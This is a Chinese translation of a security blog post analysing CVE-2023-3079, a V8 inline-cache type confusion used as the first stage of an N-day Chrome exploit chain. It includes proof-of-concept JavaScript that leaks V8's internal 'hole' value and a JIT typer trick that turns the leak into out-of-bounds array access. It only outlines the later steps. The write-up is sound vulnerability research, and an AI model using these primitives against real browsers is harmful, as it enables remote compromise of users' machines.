这篇博文是有关我们在X上演示的 N-day 全链漏洞利用中使用的漏洞系列文章的第一篇。在这篇博文中,我们从 Chrome 渲染器漏洞开始,这是漏洞利用链中的第一个漏洞。利用的漏洞是 CVE-2023-3079,这是 V8 中的类型混淆错误。
属性类型
假设我们有一个 JavaScript 对象{ a: 1, b: 2, 0: 3 }。此对象具有两个命名属性(a,b)和一个整数索引属性(0)。当我们在没有任何上下文的情况下说“属性”时,它通常指的是命名属性;整数索引属性也称为元素。
在大多数情况下,属性和元素都由数组支持。这种属性表示方法称为“快速属性(元素)”,因为它比使用字典的其他表示方法更快。
下图展示了 V8 中 JavaScript 对象的基本内存布局。
元素有多种类型,具体取决于值的类型以及值如何存储到存储中。最重要的是,有两种类型的元素:打包元素或有孔元素。如果所有元素都是相邻的,则元素存储是打包的。另一方面,如果元素之间有孔,则元素存储是有孔的。例如,[1,,3]第二个条目就是一个孔。在 V8 中,孔用一个称为“The Hole”的特殊值填充。由于它由引擎内部使用,因此不能暴露给 JavaScript。因此,当 V8 从有孔元素存储中检索元素时,它会验证该值是否为“The Hole”,然后返回未定义。
内联缓存
由于 JavaScript 是一种动态类型语言,JavaScript 引擎可能会根据对象的类型对单行代码表现出不同的行为。
以下面的 JavaScript 代码为例:
function set_keyed_prop(obj, key, val) {
obj[key] = val;
}
-
是 key 整数索引,还是字符串?
-
key 属性位于哪里 obj ?
每次执行此类检查的成本很高,因此 JavaScript 引擎实施了名为内联缓存 (IC) 的优化,以加快属性访问速度。IC 利用类型局部性,这意味着程序中某个点的操作数类型很少更改。最初,JavaScript 引擎开始时没有类型信息,因此它运行未优化的代码版本,收集在执行过程中遇到的对象的类型信息。稍后,引擎利用收集到的配置文件来优化性能;它可以调用 IC 处理程序或实时编译代码到本机。
以下代码片段说明了 JavaScript 引擎如何在内部处理上述函数:
if (typeof(obj) == A) {
FAST_ROUTINE_OPTIMIZED_FOR_A();
} else {
SLOW_GENERIC_ROUTINE();
}
JavaScript 引擎可以在程序点接受不同类型的对象,因此 IC 也可以处理多种类型。在这种情况下,我们称之为多态 IC,而较早的情况被称为单态。
The Bug
错误在于 IC 处理属性写入的方式 JSStrictArgumentsObject 。
在 V8 中,每个支持 IC 的字节码都有自己的 IC 插槽,而 IC 插槽是从映射(隐藏类)到 IC 处理程序的映射。插槽可能没有条目(未初始化的 IC)或几个映射(单态 IC、多态 IC)。当多态 IC 插槽中的条目过多或新的 IC 处理程序与现有处理程序不兼容时,该插槽将逃逸到巨型态状态;插槽使用通用(慢速)处理程序。
该漏洞存在于 SetKeyedProperty 字节码的 IC 实现中。
function set_keyed_prop(obj, key, val) {
obj[key] = val; // SetKeyedProperty
}
由于有两种类型的属性,因此 IC 也有两种类型的处理程序:属性处理程序和元素处理程序。要安装元素处理程序, KeyedStoreIC::StoreElementHandler()则调用元素处理程序以根据对象的类型选择适当的元素处理程序。
Handle<Object> KeyedStoreIC::StoreElementHandler(
Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
MaybeHandle<Object> prev_validity_cell) {
...
if (...) {
...
} else if (receiver_map->has_fast_elements() ||
receiver_map->has_sealed_elements() ||
receiver_map->has_nonextensible_elements() ||
receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
...
}
...
}
JSStrictArgumentsObject 具有快速元素,因此 StoreHandler::StoreFastElementBuiltin()调用以加载快速元素处理程序。
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
KeyedAccessStoreMode mode) {
switch (mode) {
...
case STORE_AND_GROW_HANDLE_COW:
return BUILTIN_CODE(isolate,
StoreFastElementIC_GrowNoTransitionHandleCOW);
...
}
}
在 中 StoreHandler::StoreFastElementBuiltin ,buggy 处理程序是 StoreFastElementIC_GrowNoTransitionHandleCOW 。顾名思义,处理程序不会产生映射转换(这意味着元素种类不会改变),并且如果索引等于存储的容量(即,在元素存储的末尾放置一个值),则它会扩展元素存储。当处理程序扩展元素存储时,扩展的存储可能具有额外的空间,并且它们充满了“The Hole”。
默认元素 a JSStrictArgumentsObject 是 PACKED_ELEMENTS ,在处理程序处理后它将保持不变。这是有问题的,因为同一函数的慢速版本说将元素添加到非 JSArray 对象应该使其elements_kind HOLEY_ELEMENTS 。
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index,
Handle<Object> value,
PropertyAttributes attributes) {
...
// [ 1 ] 'to' is elements kind from 'value'
ElementsKind to = Object::OptimalElementsKind(*value, isolate);
// [ 2 ] Change to Holey Element Kind if needed
// 1. If the elements kind of the object is already holey
// 2. If object is not a JSArray
// 3. If index is larger than the length of the JSArray
if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||
index > old_length) {
to = GetHoleyElementsKind(to);
kind = GetHoleyElementsKind(kind);
}
// [ 3 ] Choose the more general elements kind between 'kind' and 'to'
to = GetMoreGeneralElementsKind(kind, to);
...
}
使这种缺失的地图过渡可利用的另一件事是 V8 如何对元素访问进行边界检查;它检查对象内的 'length' 属性的 JSArray s,而对于所有其他对象,引擎检查其元素的长度支持存储 ( FIXED_ARRAY )。
void AccessorAssembler::EmitFastElementsBoundsCheck(
TNode<JSObject> object, TNode<FixedArrayBase> elements,
TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,
Label* miss) {
TVARIABLE(IntPtrT, var_length);
Comment("Fast elements bounds check");
Label if_array(this), length_loaded(this, &var_length);
GotoIf(is_jsarray_condition, &if_array);
{
var_length = SmiUntag(LoadFixedArrayBaseLength(elements));
Goto(&length_loaded);
}
BIND(&if_array);
{
var_length = SmiUntag(LoadFastJSArrayLength(CAST(object)));
Goto(&length_loaded);
}
BIND(&length_loaded);
GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);
}
在下面,我们有一个 arguments对象和一个 JSArray .当 arguments 对象使用其元素的容量支持存储 (17) 时,使用 JSArray 其 length 属性 (1) 的值来边界检查元素访问。
DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE]
- map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29df00184ab9 <Object map = 0x29df001840f5>
- elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x29df00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object
0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity *******
0: 1
1-16: 0x29df0000026d <the_hole>
}
DebugPrint: 0x29df0004ea0d: [JSArray]
- map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x29df0018e3a9 <JSArray[0]>
- elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
- length: 1 ******* Use this length *******
- properties: 0x29df00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x29df0004ea61 <FixedArray[17]> {
0: 1
1-16: 0x29df0000026d <the_hole>
}
因此,在正常情况下,当其元素存储的大小大于元素的数量时,通过检查其“length”属性来保护对 a JSArray
的越界元素访问,而对于其他对象,它通过“The Hole”检查来保护,因为对象的元素类型为 HOLEY_ELEMENTS
。
但是,即使在扩展其元素存储后,易受攻击的处理程序仍保留其 arguments
PACKED_ELEMENTS
映射,这允许我们泄漏“The Hole”值。
下面是触发错误的概念验证 (PoC) 代码。
function set_keyed_prop(obj, key, val) {
obj[key] = val;
}
function leak_hole() {
const IC_WARMUP_COUNT = 10;
for (let i = 0; i < IC_WARMUP_COUNT; i++) {
set_keyed_prop(arguments, "foo", 1);
}
set_keyed_prop([], 0, 1);
set_keyed_prop(arguments, arguments.length, 1);
let hole = arguments[arguments.length + 1];
return hole;
}
以下是有关 PoC 代码工作原理的分步说明。
首先,有一个循环,它使用 arguments
对象和“foo”作为键进行调用 set_keyed_prop()
。循环后,将注册一个属性处理程序,其中 和 arguments
'foo' 的映射作为键,使插槽成为单态的。
DebugPrint: 0x37750019b08d: [Function] in OldSpace
...
- slot #0 StoreKeyedSloppy MONOMORPHIC
0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) {
[0]: 0x37750019ae75 <String[3]: #foo>
[1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
}
在这里,我们安装一个属性处理程序,而不是一个元素处理程序。这是因为无法直接安装 的 arguments
元素处理程序。如果一个键是类似 Smi 的(整数或字符串,如 '1'),而一个对象是 arguments
, KeyedStoreIC::Store()
则采用慢速路径,而不是安装有缺陷的处理程序。但是,对于普通属性, StoreIC::Store()
调用该属性以填充插槽中的处理程序。
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
Handle<Object> key,
Handle<Object> value) {
...
// If 'key' is a string, a property handler will be installed.
if (key_type == kName) {
ASSIGN_RETURN_ON_EXCEPTION(
isolate(), store_handle,
StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
Object);
if (vector_needs_update()) {
if (ConfigureVectorState(MEGAMORPHIC, key)) {
set_slow_stub_reason("unhandled internalized string key");
TraceIC("StoreIC", key);
}
}
return store_handle;
}
...
// If 'key' is a Smi-like key, an element handler will be installed.
if (use_ic) {
if (!old_receiver_map.is_null()) {
if (is_arguments) {
set_slow_stub_reason("arguments receiver");
}
...
}
}
...
}
然后 PoC 使用空数组进行调用 set_keyed_prop()
。由于数组不是 arguments
,因此会发生 IC 未命中,并调用 KeyedStoreIC::UpdateStoreElement()
安装新的元素处理程序。然后它调用 KeyedStoreIC::StoreElementPolymorphicHandlers()
将 IC 插槽的状态更改为多态。
void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map,
KeyedAccessStoreMode store_mode,
Handle<Map> new_receiver_map) {
std::vector<MapAndHandler> target_maps_and_handlers;
nexus()->ExtractMapsAndHandlers(
&target_maps_and_handlers,
[this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); });
if (target_maps_and_handlers.empty()) {
Handle<Map> monomorphic_map = receiver_map;
// If we transitioned to a map that is a more general map than incoming
// then use the new map.
if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) {
monomorphic_map = new_receiver_map;
}
Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode);
return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler);
}
...
StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode);
...
}
KeyedStoreIC::StoreElementPolymorphicHandlers()
迭代插槽中以前的 IC 处理程序,并通过调用 StoreElementHandler()
将处理程序转换为元素处理程序。这会将 buggy 处理程序引入插槽。
void KeyedStoreIC::StoreElementPolymorphicHandlers(
std::vector<MapAndHandler>* receiver_maps_and_handlers,
KeyedAccessStoreMode store_mode) {
...
for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first;
DCHECK(!receiver_map->is_deprecated());
MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second;
Handle<Object> handler;
Handle<Map> transition;
if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) {
...
} else {
...
if (!transition.is_null()) {
TRACE_HANDLER_STATS(isolate(),
KeyedStoreIC_ElementsTransitionAndStoreStub);
handler = StoreHandler::StoreElementTransition(
isolate(), receiver_map, transition, store_mode, validity_cell);
} else {
handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
}
}
DCHECK(!handler.is_null());
receiver_maps_and_handlers->at(i) =
MapAndHandler(receiver_map, MaybeObjectHandle(handler));
}
}
此时,IC插槽如下所示:
DebugPrint: 0x5ed0019b139: [Function] in OldSpace
...
- slot #0 StoreKeyedSloppy POLYMORPHIC
[weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>)
[weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>)
{
[0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
[1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)>
}
对 set_keyed_prop
的最后一次调用由 buggy 处理程序处理,扩展 的 arguments
元素存储,同时保持元素种类 PACKED_ELEMENTS
。
set_keyed_prop(arguments, arguments.length, 1);
以下是运行 PoC 后的 arguments
对象状态。它的元素类型是 PACKED_ELEMENTS
,元素存储是 FixedArray[17]
,其中空白处被“洞”填满。
DebugPrint: 0x5ed0004cb15: [JS_ARGUMENTS_OBJECT_TYPE]
- map: 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x05ed00184ab9 <Object map = 0x5ed001840f5>
- elements: 0x05ed0004cb29 <FixedArray[17]> [PACKED_ELEMENTS]
- properties: 0x05ed00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x5ed00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
...
}
- elements: 0x05ed0004cb29 <FixedArray[17]> {
0: 1
1-16: 0x05ed0000026d <the_hole>
}
OOB 访问的孔泄漏
可以利用泄露的“The Hole”对象来实现任意越界访问。这种技术最初由 mistymntncup 共享,并且还有相关的文章可用。但是,我们还将详细说明一些细节。
这是使用“The Hole”实现越界访问的漏洞。
function leak_stuff(b) {
if (b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4);
let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8);
let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
最重要的行是以下行:
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
第一行使用三元运算符,它返回 'The Hole' 或 -1。当变热并触发实时编译时 leak_stuff()
,三元运算符会引入一个 Phi 节点,后跟一个 JSToNumberConvertBigInt
节点。
Turbofan 是 V8 中的 JIT 编译器,具有打字阶段,编译器静态推断每个节点的类型。在打字阶段之后,注释类型如下:
Phi 节点的类型被推断为 的 The Hole
类型和整数区间 (-1, -1)
的并集,这似乎是真的。但是, JSToNumberConvertBigInt
节点的类型计算错误,因为对 Number()
with The Hole
的调用会产生 NaN
.
d8> Number(%TheHole());
NaN
JSToNumberConvertBigInt
节点的类型在 OperationTyper::ToNumberConvertBigInt()
中推断。
Type OperationTyper::ToNumberConvertBigInt(Type type) {
// If the {type} includes any receivers, then the callbacks
// might actually produce BigInt primitive values here.
bool maybe_bigint =
type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver());
type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone()));
// Any BigInt is rounded to an integer Number in the range [-inf, inf].
return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;
}
该函数首先计算参数类型和 Type::NonBigInt() 的交集。这是 type Phi 节点的类型, Type::NonBitInt() 定义为 OR 编辑的位标志集。
src/compiler/types.h
#define INTERNAL_BITSET_TYPE_LIST(V)
uint64_t{1} << 1)
V(OtherUnsigned32, uint64_t{1} << 2)
V(OtherSigned32, uint64_t{1} << 3)
V(OtherNumber, uint64_t{1} << 4)
V(OtherString, uint64_t{1} << 5)
...
#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V)
...
uint64_t{1} << 23)
...
#define PROPER_BITSET_TYPE_LIST(V)
...
kNonBigIntPrimitive | kReceiver)
...
当我们展平 的所有 Type::NonBigInt() 子标志时,我们可以看到 'The Hole' 的类型不在集合中。
Symbol
Unsigned30
Negative31
OtherUnsigned31
OtherSigned32
Unsigned30
OtherUnsigned31
OtherUnsigned32
OtherNumber
MinusZero
NaN
InternalizedString
OtherString
Boolean
Null
Undefined
WasmObject
Array
CallableFunction
ClassConstructor
BoundFunction
OtherCallable
OtherObject
OtherUndetectable
CallableProxy
OtherProxy
因此,“The Hole”的类型被交集过滤,这会导致类型错误。此错误通过以下操作传播。
以下是该漏洞的注释版本,其中包含编译器推断的类型以及使用“The Hole”执行代码时的实际值。
function leak_stuff(b) {
if (b) {
let index = Number(b ? the.hole : -1); // [-1, -1] (actual value: NaN)
index |= 0; // [-1, -1] (actual value: 0)
index += 1; // [0, 0] (actual value: 1)
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4);
let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8);
let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
由于编译器认为 的 index 值始终为零,因此它认为所有边界检查都是 arr1 不必要的,并对其进行了优化。但是,当稍后调用该函数时, index 该函数是一个非零值,它将访问 arr1 越界。
编写EXP
现在我们有了越界内存访问原语,并且有一种标准方法可以从 oob 原语实现代码执行。典型的 V8 漏洞利用将:
-
1、构造 addr_of,任意读/写原语
- 这通常可以通过创建几个相邻的数组(PACKED_ELEMENTS
和PACKED_DOUBLE_ELEMENTS
)并使用越界访问原语覆盖数组的长度属性来实现。 -
2、使用原语来获得任意代码执行
- 为此,需要逃离 V8 沙箱。
- 我们已经在我们的博客上发布了详细的解释。
结论
这篇文章提供了我们为N-day的全链演示中利用的 CVE-2023-3079 的分析。下一篇文章将介绍如何利用 Windows ALPC 服务中的漏洞逃脱 Chrome 沙盒。
Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE
https://blog.theori.io/chaining-n-days-to-compromise-all-part-1-chrome-renderer-rce-1afccf56721b
原文始发于微信公众号(Ots安全):利用 N-day 漏洞攻击所有网站:第 1 部分 - Chrome 渲染器 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论